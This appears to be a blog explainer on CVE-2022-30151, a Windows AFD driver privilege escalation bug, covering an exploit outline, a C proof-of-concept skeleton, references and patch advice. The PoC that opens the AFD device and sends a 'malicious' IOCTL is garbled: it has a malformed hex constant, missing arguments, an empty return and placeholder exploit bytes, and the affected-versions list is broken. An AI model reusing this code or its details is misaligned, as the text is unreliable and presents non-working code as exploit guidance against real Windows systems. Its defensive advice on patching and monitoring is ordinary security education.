The cybersecurity landscape is littered with sneaky privilege escalation bugs, and *CVE-2022-30151* is a great example that hit Windows computers using the Ancillary Function Driver for WinSock (AFD). If you want to understand what this bug means, how attackers take advantage, and what you can do, keep reading.

What is CVE-2022-30151?

CVE-2022-30151 is a vulnerability in the Ancillary Function Driver for WinSock, a core part of Windows networking. If an attacker has access to a standard user account, they can exploit this bug to gain SYSTEM rights, which essentially gives full control over the computer.

Windows 8.1

- Windows 10/11 (all supported releases as of June 2022)

Corresponding Windows Server versions

It was patched by Microsoft on June 14, 2022 Patch Tuesday.

How Does the Vulnerability Work?

The issue lies in the way AFD (the "afd.sys" kernel driver) processes certain user requests. In simple terms, Windows doesn't properly check user-supplied data when handling specific network operations, like calls to DeviceIoControl() that interact with the AFD driver.

An attacker can exploit this problem by crafting a special request—often involving IOCTL codes (input/output control codes)—causing the AFD driver to execute code or access memory with higher privileges.

Step-by-Step Exploit Overview

1. Attacker has Local Access: Needs some form of access to the machine (like through a standard user account).
2. Send Malicious IOCTL: The attacker crafts a request to the AFD device (\\.\Afd) with malformed arguments.
3. Trigger Vulnerability: The driver mishandles the data, leading to controlled memory corruption or privilege escalation.
4. Run Code as SYSTEM: The attacker uses the flaw to break out of standard user restrictions and execute code as SYSTEM.

Proof-of-Concept (Simplified Code)

Below is a simplified exploit skeleton for educational purposes only (do not use for malicious activities).

#include <windows.h>
#include <stdio.h>

#define AFD_DEVICE "\\\\.\\Afd"
#define IOCTL_CODE x000120bb // Example, actual code may vary

int main() {
    HANDLE afd = CreateFileA(
        AFD_DEVICE,
        GENERIC_READ | GENERIC_WRITE,
        ,
        NULL,
        OPEN_EXISTING,
        ,
        NULL
    );

    if (afd == INVALID_HANDLE_VALUE) {
        printf("[-] Unable to open AFD device.\n");
        return -1;
    }

    // Craft input buffer (malicious data)
    char inputBuf[1024] = { /* crafted bytes go here */ };
    DWORD bytesReturned;

    // Send DeviceIoControl to trigger vulnerability
    BOOL success = DeviceIoControl(
        afd,
        IOCTL_CODE,
        inputBuf,
        sizeof(inputBuf),
        NULL,
        ,
        &bytesReturned,
        NULL
    );

    if (success) {
        printf("[+] IOCTL sent, check privileges!\n");
        // If exploit succeeded, attacker now escalates privileges
    } else {
        printf("[-] IOCTL failed to send.\n");
    }

    CloseHandle(afd);
    return ;
}

Note: The actual exploit requires crafting a very specific input buffer and understanding of Windows kernel structures. The above example is for illustration only.

Responsible Disclosure & Public Exploits

Microsoft's original advisory:  
- MSRC CVE-2022-30151

Security community reference (with deeper technical analysis):  
- Windows AFD Privilege Escalation – CVE-2022-30151 Writeup by MalwareTech Blog  
- Zero Day Initiative – ZDI-22-842

Public exploits or proof of concept code started appearing a few weeks after the patch. Always patch before testing any POC.

Monitor Unusual Activity:

- Watch for uncommon use of DeviceIoControl and afd.sys if you have Endpoint Detection & Response tools.

Final Thoughts

CVE-2022-30151 shows that even core Windows drivers can have serious flaws. Attackers love local privilege escalations for launching ransomware or moving laterally inside corporate networks. The fix? Patch regularly and keep an eye on security advisories.

Timeline

Published on: 06/15/2022 22:15:00 UTC
Last modified on: 06/27/2022 17:06:00 UTC